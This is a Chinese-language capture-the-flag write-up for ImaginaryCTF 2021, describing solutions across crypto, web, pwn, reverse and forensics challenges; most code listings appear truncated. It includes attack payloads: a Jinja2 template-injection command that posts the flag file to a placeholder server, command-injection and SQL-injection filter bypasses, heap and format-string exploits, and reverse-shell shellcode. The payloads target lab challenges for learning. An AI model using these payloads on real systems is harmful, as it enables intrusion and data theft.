ImaginaryCTF 2021 WriteUps
這次單獨參加了 ImaginaryCTF 2021,最後拿了第 10 名。整體難度不會到很難,不過有很多新奇有趣的題目。
有
*
的題目是賽後才解的
Misc
Imaginary
寫程式計算複數的一些運算而已,可以利用 python 本身就有的複數功能,很方便。
1 | from pwn import remote |
Spelling Test
題目給了一堆英文單字,其中有些是拼錯的,按照題敘把錯誤的字元接起來就是 flag 了。我用的是 autocorrect 去修正的。
1 | from autocorrect import Speller |
1 | from autocorrect import Speller |
Formatting
題目是 remote 有個 python 程式,它會讀取你的輸入字串後用
.format(a=something)
再把 response 傳回來。flag 是放在
global variable 的 flag
上面。
解法就是用 python format string 去得到 global variable 而已,網路上有許多文章能查到相關資訊。
1 | {a.__init__.__globals__[flag]} |
Prisoner's Dilemma
題目可以 ssh 到一個主機上,一打開的畫面就是 vim,裡面的內容是:
1 |
測試了一下可以知道它把 :
、Q
和
!
在 normal mode 擋掉了,然後在 insert mode 輸入
quit
可以離開。不過我們的目標是要得到 shell,上網查一下關於
vim jail 的題目可以發現 vim 中能把 cursor 移動到某個 word 上面,按下
Shift+k
就等價於 man [word]
的指令,可以打開
pager (如 less
) 所以也能簡單的拿到 shell。
只是這題實際上這麼做的時候會看到:
1 | This system has been minimized by removing packages and content that are |
這個是來自 ubuntu minimal 的問題,裡面預設沒有
man-db
。
我後來的繞法是去翻 vim 的說明找到了這頁,裡面能看到有個東西叫做
command line window,裡面可以檢視 :
、/
和
?
三個的 history,也能在裡面用 insert mode
輸入東西後執行。進入的方式分別是用 q:
、q/
和
q?
,所以這題就輸入 q:
之後用 i
進
insert mode,然後輸入 !bash
之後 enter 就有 shell 了。
另一個理論上可以的做法是靠 gf
,它可以讓 vim 直接打開
cursor 上面的 word 的檔案,如果是還沒儲存的狀態的時候可以用
Ctrl+w
接 Ctrl+f
在另一個 window
打開檔案,如果 vim 有 netrw 的時候可以直接 open directory
列出檔案列表之後再打開檔案,問題是 remote 沒有 netrw...
後來看到別人說上面那個方法其實不用 netrw 也是可以的,在輸入
/
之後用Ctrl+x
接Ctrl+f
就會自動 path completion,所以就可以自動 list directory。
Puzzle 2
題目有個 Unity 遊戲,flag 放在裡面某個被鎖住進不去的房間。
我用的方法是用 dnSpy 把 Unity 遊戲的 Assembly-CSharp.dll
打開,然後把裡面 PlayerController
的 Move()
改掉。它原本是偵測 key 然後把 vector 加到 velocity 上面,我把它改成把
vector 加到 position 之後就可以穿牆了,修改完之後 Save 打開遊戲穿牆到
flag 房間中就成功了。
Mazed
題目有個四維 10x10x10x10 的迷宮要你走到終點,解法就是直接暴力 dfs 即可。
1 | from random import choice |
Off To The Races!
整個題目的程式碼如下:
1 | #!/usr/bin/env python3 |
題目目標是要得到超過 100 元,然後在 admin.value
不是
truthy 的時候呼叫 flag
函數,但是 flag
函數又需要在 admin_menu
才能進去。
賺錢的部份很簡單,先以普通 user place 2 bet,金額分別是
1000000000
和 0
,然後登入進 admin 之後 declare
winner 就有一半的機率拿到錢,不過要怎麼呼叫 flag
函數才是關鍵。
根據題目名稱可以猜到是 race condition,裡面 login
裡面也有 time.sleep(2)
,看起來也是很可疑。一個想法是先進入
admin,然後在 logout 的時候輸入錯誤密碼並讓 checkPass
函數執行超過 2 秒,那麼 login
函數會先結束,然後因為
admin.value
還是 truthy 所以會進入
admin_menu
,而 checkPass
結束之後就會把
admin.value
變成 0
,這樣就能呼叫
flag
得到 flag 了。
要 delay checkPass
的關鍵在於那個 regex,它具有類似
(a+)+
的格式,這個可以利用類似
aaaaaaaaaaaaaaaaaab
的輸入去
ReDoS,所以透過這個就能延遲了。
經過個人測試用下面這個可以讓 rx.match
在 remote 要花 3
秒左右才能完成:
1 | ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEarl05E |
而正常能快速登入的密碼用這個即可:
1 | ju5tnEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvEEvErl05E |
Crypto
Chicken Caesar Salad
Caesar cipher 應該沒什麼好說的。
Flip Flops
題目可以把訊息送過去 remote 會,只要訊息內沒有 gimmeflag
的話它就用 AES-CBC 把訊息加密送回來。只要能送過去一組密文解密後有包含
gimmeflag
就能拿 flag。
方法就如題目名稱所提示的,CBC Bit-flipping Attack 而已。
1 | from pwn import * |
Rock Solid Algorithm
1 | import gmpy2 |
Lines
這題用了 Diffie-Hellman 的 shared secret 用乘法的方法加密:
然後它提供了一組已知的明文與密文以及 flag 的密文,所以可以很簡單的用數學解得 flag。
1 | from Crypto.Util.number import * |
New Technology
這題有提供了一個 public key 和 AES 加密的 flag,key 的部份是利用 public 的 euler phi 等等的值加總之後變成 private key,然後拿 private key 的值去 derive AES key。
雖然直接看看不出有什麼奇怪的地方,但是可以直接用一些代數軟體,例如 sage 本身的功能去模擬,可以發現它算出的 private key 正好是 public key 的平方,這大概是某些數論上的結果。
1 | from Crypto.Cipher import AES |
Primetime
這題用了一個自創(?)的方法弄出了一個加法循環群,然後在上面用 scalar multiplication 做了 Diffie-Hellman 之後把 flag 給加密了。
題目中的元素可以表示為:
任意長度小於 16 的 bytes 可以直接 encode 成這個群中的元素。
元素的加法定義為直接把兩個相乘,也就是
reduce 的方法是當
這個看似很複雜的元素可以簡單的以
scalar multiplication 的地方是把直接用連加的方法達成,而它還有個元素和元素的乘法是先把一個元素用特殊方法轉換成 scalar,直接 scalar multiplication 即可。
而題目本身提供了一個 generator
解法是要找到用有點暴力的方法去算 discrete log,細節直接看
code。然後再來是可以猜出 order 是
1 | from itertools import islice |
其實它還有個更簡單的作法是直接 map 到
Roll it back
這題用了一些很奇怪的 bit 運算把反覆的對 flag 做 bit 運算:
1 | # T is a known constant |
一開始我看不出這到底是在做什麼,就直接用 z3 下去多花點時間就解掉了:
1 | from itertools import * |
後來看到 flag 內容說 LFSR 之後才看懂那個運算,因為
popcount(flag & T) & 1
其實就是把 T
的那幾個 bit 做 xor,然後其他部分就是把 LFSR 的 state 向前推進而已。
用 sage 的解:
1 | from gmpy2 import * |
*ZKPoD
這題用 RSA 把 flag 加密,然後有個 oracle 可以讓你解密訊息之後用 Schnorr signature sign,而它的 nonce 是完全隨機所以沒辦法從這部分攻擊。
在比賽的時候我的想法是利用它的
出題者的解法是利用
知道 LSB 的時候就有個 RSA 的 oracle,這樣可以利用 LSB Oracle Attack 去二分搜 flag。
1 | from pwn import remote |
補個出題者的解,裡面有整理其他的不同做法: ZKPoD
Web
Roos World
source code 裡面有個 jsfuck,直接執行就有 flag。直接打開 console 也可以。
Build-A-Website
這題是有 blacklist 的 Jinja2 SSTI,讓我學到了在 template 裡面的時候 attribute 也可以用 dict 的 syntax 去存取。
payload:
1 | <pre> |
SaaS
題目有 os.popen
的 command injection,有
blacklist,大致上如下:
1 | blacklist = ["flag", "cat", "|", "&", ";", "`", "$"] |
繞過的方法就是用 \n
、head
和
f*
繞過 filter 而已: ?query=%0ahead%20f*
。
Awkward_Bypass
這題是一個有一大堆 sql keyword blacklist 的 sql
injection,不過它的方法是把 blacklist 中的字直接 replace
成空字串而非直接擋掉,所以可以利用 UNUNIONION
會變成
UNION
這個方法去繞過,剩下的部分就是 blind sql
injection。
1 | import httpx |
Cookie Stream
source code 裡面有好幾個帳號以及密碼的 sha512,其中有幾個 hash 可以利用 CrackStation 查表得到原本的密碼,其中不包含 admin 的密碼。只要能以 admin 登入就能獲得 flag。
session 的部份是利用 AES-CTR 把 username 先 pad 之後加密,之後在 ciphertext 的前面 prepend nonce 作為 session。檢測 nonce 的時候也就拿 cookie 中的 nonce 去初始化 AES-CTR,然後解密後再 unpad 得到 username。
AES-CTR 的加密公式為:
解法就是利用已知的 plaintext 和 ciphertext xor 之後得到 admin
) 做 xor 就能得到需要的 ciphertext,前面 prepend
nonce 之後就能得到目標的 session。
生成腳本:
1 | from Crypto.Util.Padding import pad |
NumHead
這題我覺得就只有程式碼比較長點,比較難 trace code 以外是蠻簡單的。目標是要得到 1000 元可以用 api 買 flag。
首先先拿到 token:
1 | curl https://numhead.chal.imaginaryctf.org/api/user/new-token -X POST -H "Authorization: 0nlyL33tHax0rsAll0w3d" |
然後可以注意到它有個奇怪的
/api/user/nothing-here
,對它每次發送不同數量的 header
就可以得到 100 元,自己手動重複十次後再買 flag 即可。
1 | curl -H "Authorization: d6eeba22e8404e5d80fe390931f1957e" https://numhead.chal.imaginaryctf.org/api/user/nothing-here -X POST -H "a: 1" # Add some header and repeat |
Destructoid
直接檢視會看到: ecruos? ym dnif uoy naC
,反過來是
Can you find my ?source
,所以在 url 後面加上
?source
就能看到 source code。
我一開始直接用眼睛看,以為是
Can you find my source?
,所以沒發現能看到 source code...
1 |
|
所以目標就用反序列化繞過檢測去得到 flag,我的 payload 生成如下:
1 |
|
主要發現了 __destruct
在 die
之後還是會繼續執行,因為輸出如下:
1 | ecruos? ym dnif uoy naC |
還有別人的 payload 用的比較簡單,直接構造多個物件就好了:
1 |
|
Sinking Calculator
這題一樣是 Jinja2 SSTI,沒有額外的 blacklist,但是有長度限制要 79
字以內。payload 的部份是直接幫你用 {{` 和 `}}
包裝好了,不用另外浪費字元。輸出的地方它會把所有非
0123456789-
字元的字給移除掉。然後
request.args
、request.headers
和
request.cookies
都被清除了。
我的方法是發現 request.data
是 HTTP 的 body,flask
那邊就算是 GET request 一樣也會接受 body 的 data。
完整的 payload:
1 | curl "https://sinking-calculator.chal.imaginaryctf.org/calc?query=request.application.__globals__.__builtins__%5B%27eval%27%5D%28request.data%29" -X GET --data-raw "__import__('os').system('curl http://YOUR_SERVER -F f=@flag')" |
作者的解答是這樣:
1 | 1.__class__(g.pop.__globals__.__builtins__.open("flag","rb").read().hex(),16) |
這讓我學到了原來 Flask 中還有個 flask.g
的東西能用,學到了一課。另一個拿 __globals__
的方法是用
url_for.__globals__
。
Password Checker
這題是一個混淆過的 js 寫的 password checker,自己去掉部分混淆之後可以看到最重要的部分如下:
1 | for (var c = y, n = '3|2|0|1|4'.split('|'), C = 0; ; ) { |
這邊的第一個想法一定是用 z3 去破,只是很快就會發現 z3 似乎負荷不了這麼大的 search space,所以我在賽中都沒把這題解開。後來去看了這篇才知道這題需要自己另外暴力+通靈出一部份的 password,然後再用 z3 找才能找了出來...
1 | from z3 import * |
Pwn
stackoverflow
沒什麼好說的,直接 buffer overflow 改 local variable 它就直接給你 shell 了。
input base64:
1 | YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWZ0Y2kAAAAACg== |
Fake Canary
這題個 canary 是它自己弄的,完全 static 所以很容易繞,目標是 return 到它本身就有的 backdoor 函數。比較麻煩的地方是直接 return 到該函數在 local 可以成功,但是 remote 的版本似乎是 ubuntu 18,它需要 16 byte 對齊的 stack address,我是直接讓它 return 到 backdoor 函數跳過 function prologue 的地方就成功了。
input base64:
1 | YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYe++rd4AAAAAKQdAAAAAAAAp |
The First Fit
source code:
1 |
|
可以看到可以任意對 a
和 b
去
malloc
和 free
,但是我們只能對 a
寫入,和 system(b)
。
這題需要的觀念是 UAF 以及 malloc 會拿第一個能用的 freed chunk 來用這個性質而已,也就是 first fit。
- free a
- malloc b (now a==b)
- write "/bin/sh" to a
- system b
String Editor 1
此題一開始就 leak 了 &system
,所以 libc
已經知道了。接下來它有個固定的 heap buffer,你可以對它的任意 index 寫入
char,沒有任何檢查,寫入之後還會 leak buffer+idx
的
address。再來是當 idx == 15
的時候,它會把 buffer free 掉再
malloc,然後重新初始化字串。
首先是利用 libc 和 buffer address,可以計算出到
__free_hook
的 offset,在裡面寫入 system
後再把 buffer 本身寫成 /bin/sh\0
,然後 free 掉就可以 get
shell。
1 | from pwn import * |
linonophobia
這題它會先把 GOT 裡面的 printf
寫成
puts
,然後再做這些事:
1 | char buf[264]; |
題目顯然有個 buffer overflow,不過這題有 NX, Canary
所以可以先用第一次的 printf(buf)
去 leak canary。接下來用
ROP 去 call plt 中的 puts
,輸出 GOT 中任意函數如
read
的位置得到 libc,最後可以再給他回到 main
再來一次。
第二次 rop 就直接 ret2libc 即可,像是我偷懶直接用 one gadget。
1 | from pwn import * |
Speedrun
這題會隨機生成下方的程式:
1 |
|
compile 時沒有 canary 也沒有 PIE,它會直接把 binary 用 base64 encode 之後給你,然後要你在 10 秒鐘內 exploit 這個 binary。
顯然有 overflow,不過那個 offset 是動態的,我的做法是直接讀 binary 找到 instruction 的 index,然後把 offset 讀出來。
而 pwn 的部分本身我先讓它用 puts 去輸出 GOT 中的東西得到 libc,之後也是 ret2libc 而已。
local exploit:
1 | import sys |
remote exploit:
1 | from pwn import remote |
String Editor 2
此題有個在 bss 的 string,一樣可以和 String Editor 2 一樣去 edit
它的任意一個字元,不過這次有限制 index <= 15
,它也沒有先
leak 任何 address 給你。保護的話只有開 NX。
當 index == 15
的時候可以進入一個選單去:
puts(target)
strcpy(target, "***************")
exit(0)
關鍵在於 index
是 signed,利用負數可以從 bss 寫到 GOT
table,然後我是先把 GOT 中的 strcpy
寫成
printf
,然後利用呼叫
strcpy(target, "***************")
去用 format string
exploit leak 出 libc。
得到 libc 之後就再把 strcpy
寫成
system
,然後把字串換成 /bin/sh\0
之後就成功了。
我用
strcpy
而非puts
的原因是puts
在程式的其他許多地方都有用到,直接蓋掉會炸,但strcpy
只有出現在那裡而已。
1 | from pwn import * |
Memory pile
題目有個在 bss 的 array,專門放 pointer,可以自己選擇 array 的 index
去放 malloc(0x20)
的結果,index 沒檢查。其他還可以 free
array 上任意 index 的 address,或是對那些 address 去寫入 (沒有
overflow)。
關鍵的弱點是在於它 free 之後沒有把 array[index]
設為
0
,所以有 UAF。利用方法是利用寫入 tcache 的
next
pointer 可以控制 malloc
的 return
value,所以對 __free_hook
寫入 system
之後
free 有 /bin/sh
的 address 即可。
PS: libc 位置它一開始就 leak 給你了,然後保護的部分是
Canary
NX
PIE
和RelRO Full
都全開了
1 | from pwn import * |
*notweb
這題有個用 C 簡單實作的 web server,每一個收到一個 request 都會 fork
之後進到一個 respond
函數中。在裡面可以看到它會把 HTTP
Request 把前面的 GET /
和後面的 HTTP
去掉,中間的部分當作 path copy 到 stack 上的一個 buffer
之中。在裡面可以看到它有個 check_len
函數會檢查 path
的長度是否會 <= 99
。
這題的漏洞在於它的 check_len
接受的是 uint8,但是傳進
memcpy
的長度是 int,所以只要讓長度 mod 256 小於等於 99 的
payload 都可以 buffer overflow。
buffer overflow 之後會發現程式會炸,因為會把 stack 上一個 heap
address 給蓋掉,而它會在 return 前 free
所以要把它好好的填為 0 才行。
接下來這個程式什麼保護都沒開,連 NX 都沒有,不過我們並不知道 stack
address 在哪。這個可以很容易發現它有個特殊的 gadget
jmp rsp
,所以在 ret 的地方寫入
jmp rsp + shellcode
之後就行了。
下一個難點是它是個 server,沒有 stdin 可以 get shell,我這邊是用 shellcraft 去生成 reverse shell 的 payload 就可以了。
1 | from pwn import * |
inkaphobia
這題主程式一開始會把一個 stack 上的 address 傳到一個
dorng
的函數裡面,那個函數可以讓你輸入六個一定範圍以內的質數,然後給你 address
modulo 那個數字的結果。所以我們可以範圍內最大的六個質數,然後用 CRT 算出
address modulo 六個質數的乘積的結果。再來是利用 64 bit 的 stack address
都是 0x7ff
的性質,會發現有很高機率可以直接正確的找出那個
address。
接下來離開 dorng
函數之後會讀 512 字元進來,然後直接用
printf(buf)
讓你可以用 format string
exploit。首先,這題的保護是 NX, Canary 和 RelRO Full,所以我先用 format
string 去 leak 一個 libc address,然後也同時 return 回 main
再來一次。
第二次進 main
的時候可以利用 format string 對 ret 寫入
libc 中的 one gadget 直接拿 shell 即可。
1 | from pwn import * |
我也有看了別人的 writeup,看來我真的該去學學怎麼使用 pwntools 裡面提供的
fmtstr_payload
,用起來比我在裡面手動湊 format string 去寫入簡單多了==
Reverse
Stings
IDA 打開就差不多解完了。
Normal
這題有個 Verilog 的 flag checker,我直接寫個 z3 腳本去解,很快就出來了:
1 | from z3 import * |
Abnormal
這題一樣是 Verilog 的 flag checker,但是複雜度比前一題複雜許多,不過一樣能靠寫 z3 腳本直接炸 flag。比較需要注意的地方是 Verilog 和 python 有些 slicing 的 behavior 不太一樣,要注意一下才行。
1 | from Crypto.Util.number import * |
Jumprope
這題可以輸入東西到 ret 的地方,然後它會把你的輸入做一些
xor。根據程式一開始 print 的內容可以看到他說成功的話會輸出
CORRECT
,然後也能發現它也確實有 c
o
r
e
t
五個函數。
所以目標是找出特定的輸入進去,xor 之後可以變成一個 ROP chain 讓程式把
CORRECT
給 print 出來。
它的 xor 部分主要有兩部分的值,一個是直接 hardcode 在 binary 裡面的,那個可以直接複製出來。另一部份是用一個奇怪的 C 函數生成的,我先另外寫個 C 程式把它的值全部輸出出來:
1 |
|
得到兩個 array 之後構造 rop chain,然後 xor 之後就會看到 flag 了。
1 | # fmt: off |
It's Not Pwn, I Swear!
這題直接 decompile 看起來就像是 pwn 題一樣,因為 main
直接就進入一個 vuln
,裡面還有個非常標準的 gets
函數可以 buffer overflow,除了它輸出了一個訊息說
This is not a pwn challenge.
以外都沒什麼特別的。這題要 pwn
也沒辦法,因為 checksec
會看到它除了 Fortify
以外是全開的。
關鍵在於題敘有特別強調 including a canary!
,看一下
__stack_chk_fail
會發現這個函數不正常,因為一般來說
__stack_chk_fail
應該是在 libc 裡面,但是這個
__stack_chk_fail
卻直接在 binary
之中,裡面還有一些奇怪的邏輯。
簡單讀一下之後可以知道它是拿 overflow 的前 16 bytes 作為
input,然後用一些運算計算出 flag 並檢查一些
condition,一旦失敗就呼叫真正的
__stack_chk_fail
,所以一般的 overflow 還是會看到預期中
canary 被破壞的錯誤訊息。
我的解法是直接上 angr,它很快就能把需要的那 16 bytes input 和 flag 找出來:
1 | import angr |
No Thoughts, Head Empty
這題有個 brainfuck 程式會 print flag,但是它會把一個字元重複 print 非常多次,讓你很難看到真正的 flag。
我是直接用 python 寫 brainfuck to c 的程式,然後加點東西讓它不要輸出重複的字元即可。
1 | import os |
Fewer Thoughts, Head Emptier
這題可以用和前一題一樣的解法解掉,一個字都不用改。
不過我還有想辦法用 c 把中間的 state 輸出,猜出了它的 encode 方法:
1 | nums = [ |
Roolang
這題用了一種奇怪的 roo 格式,把它讀取出來用某些方法轉換(題目本身有提供)可以轉換成像是這樣的奇怪文字:
1 | rnbonrooonrobinrooon... |
它是每 5 個字元一個 instruction,然後主程式是個這種語言的 interpreter,是一個 stack machine。執行它給的程式可以把 flag 輸出出來,問題在於那個程式的效能極端的慢,只能 print 出 flag 的前面幾個字元而已。
我是想辦法把它的 instruction 做一些 decode,然後 print 中間的 stack
之後做一些觀察可以發現它會先在 stack 上 load
一大堆數字,然後一個數字一個數字做 decode。decode 的關鍵在於它 print
字元的前一個 instruction 都一定是 xor,xor 的目標是
1 1 2 3 5 8 11...
,所以可以猜出他應該是和費氏數列 xor。
從它的 instruction 裡面還能看到它有 call 和 return 的
instruction,仔細看一下可以看了出它似乎真的有遞迴計算
f(n-1)+f(n-2)
的樣子,所以這個猜測也是正確的。
最後就把一開始 load 的那些數字 copy 出來,然後和費式數列 xor 就有 flag 了:
1 | # fmt: off |
附上我 debug 用的 script:
1 | #!/usr/bin/env python3 |
Forensics
Hidden
題目有個 psd,但是直接 strings challenge.psd | grep ictf
就拿到 flag 了。
Unpuzzled 1
這題是 OSINT,目標是在官方 DC server 中的某個 user。首先可以透過 DC 的關聯帳號找到他的 GitHub 和 YT 帳號,然後能在 GitHub 的 repo 中看到它的 email,寄封 email 到那個 email 去就有 flag 了。
Unpuzzled 2
這題是前一題的後續,可以在他的 profile 看到它的網頁是
website.unpuzzler7.repl.co
,這個是 replit 的網域,所以可以在這邊 看到他的 replit
profile。
裡面有個 DiscordBot 專案裡面能找到某個 base64 string,decode 之後就是 flag。
Vacation
給了一張圖片,目標是找到該處的經緯度,要求到小數前三位。方法就 Google 搜尋一下裡面出現的店名等等的就找到了,找到的地點是這邊。
Password Protected
給了一個用 zipcrypto 加密的 zip 檔,以及在對方加密的 system 上面的
libc 的幾個 address。列出 zip 中的檔案名稱可以看到 flag.txt
libc.so.6
和 runme
。
首先是能用 libc addresses 拿到正確的 libc 版本,可用 https://libc.blukat.me/ 或是 https://libc.rip/ 。
接下來這個是 zipcrypto,當有已知的 plaintext 的時候可以破解,工具是 pkcrack。
指令如下,其中的 libc3
是我找到的那個 libc binary:
1 | pkcrack -C encrypted.zip -c libc.so.6 -P plain.zip -p libc3 -d flag.txt -a |
下完指令之後等一段時間就會出現
decrypted.zip
,把它解開就有 flag 了。